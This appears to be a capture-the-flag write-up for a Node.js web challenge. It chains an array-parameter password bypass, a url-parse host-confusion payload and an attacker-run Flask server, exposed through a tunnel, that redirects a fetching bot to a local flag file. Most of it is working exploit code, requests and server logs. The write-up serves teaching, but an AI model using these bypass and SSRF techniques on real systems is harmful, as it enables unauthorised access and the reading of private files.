Tags: web 

Rating: 5.0

Condition on the isAdmin function:
(req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0")

Use password[]=Th!sIsS3xreT0 to bypass the nodejs comparison, this works because:
Welcome to Node.js v14.17.5.
Type ".help" for more information.
> ["banana"]=="banana"

This makes the password len 1 and equal to the expected string.

Then run npm audit on the project and notice the open redirect vuln on url-parse 1.4.1:
High Open Redirect in url-parse

Package url-parse

Dependency of url-parse

Path url-parse

More info https://github.com/advisories/GHSA-pv4c-p2j5-38j4

Check the [patch commit](https://github.com/unshiftio/url-parse/commit/53b1794e54d0711ceb52505e0f74145270570d5a) and notice the test string on line 196:
var url = 'http://google.com:80\\@yahoo.com/#what\\is going on'

Server code:
const isValidHost = (url => {
const parse = new urlParse(url)
// console.log(parse)
return parse.host === "i.ibb.co" ? true : false

Use this to craft the final payload. You can also perform tests on your local machine with the following nodejs code:
const urlParse = require('url-parse');
url = "file://google\\[email protected]/6chVyMW/songtung.png"
const parseURL = new urlParse(url)

bot.py source code:
# check extentsion
white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
vaild_extension = url.endswith(white_list_ext)

if (vaild_extension):
# check content-type
res = request.head(url, headers=headers, timeout=3)
if ('image' in res.headers.get("Content-type")
or 'image' in res.headers.get("content-type")
or 'image' in res.headers.get("Content-Type")):
r = request.get(url, headers=headers, timeout=3)

Build a Flask Server to bypass the bot.py validations and control server replies, for the HEAD request the bot.py is performing reply with the string 'image' in the 'Content-type' header, then for the GET request reply with a redirect to read the flag file. The path could be found on the Dockerfile line 14.

Flask Server code:
from flask import Flask, redirect, request, make_response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
def catch_all(path):
if request.method == 'HEAD':
resp = make_response("Foo bar baz")
resp.headers['Content-type'] = 'image'
return resp
return redirect("file:///usr/src/app/fl4gg_tetCTF")

Run the Flask Server:
python -m flask run --port=8000
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on

Expose the flask server to the internet:
lt --port 8000
your url is: https://tidy-yaks-smoke-85-244-177-108.loca.lt

Final request with all payloads in place:
POST /api/getImage?password[]=Th!sIsS3xreT0 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 85


Flask Server received the requests from the bot.py:
``` - - [02/Jan/2023 22:46:18] "HEAD /%5C%5Ca%5C%[email protected]/6chVyMW/songtung.png HTTP/1.1" 200 - - - [02/Jan/2023 22:46:18] "GET /%5C%5Ca%5C%[email protected]/6chVyMW/songtung.png HTTP/1.1" 302 -

Server response:
HTTP/1.1 200 OK
Server: nginx/1.22.1
X-Powered-By: Express



Check the complete video writeup here: [https://youtu.be/zGakJ1aPf6Y?t=368](https://youtu.be/zGakJ1aPf6Y?t=368)

Original writeup (https://youtu.be/zGakJ1aPf6Y?t=368).